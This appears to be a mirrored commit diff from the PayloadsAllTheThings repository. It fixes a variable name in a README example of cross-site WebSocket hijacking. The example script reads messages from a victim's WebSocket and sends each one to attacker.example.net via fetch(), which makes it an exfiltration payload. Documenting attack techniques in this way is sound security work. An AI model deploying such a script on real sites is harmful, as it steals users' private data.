mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-12 14:22:47 +00:00
Update README.md
This commit is contained in:
parent
fc8fadbb0c
commit
d0a198ffee
1 changed files with 1 additions and 1 deletions
|
@ -45,7 +45,7 @@ data from the WebSocket to the attacker:
|
|||
<script>
|
||||
ws = new WebSocket('wss://vulnerable.example.com/messages');
|
||||
ws.onopen = function start(event) {
|
||||
websocket.send("HELLO");
|
||||
ws.send("HELLO");
|
||||
}
|
||||
ws.onmessage = function handleReply(event) {
|
||||
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
|
||||
|
|
Loading…
Reference in a new issue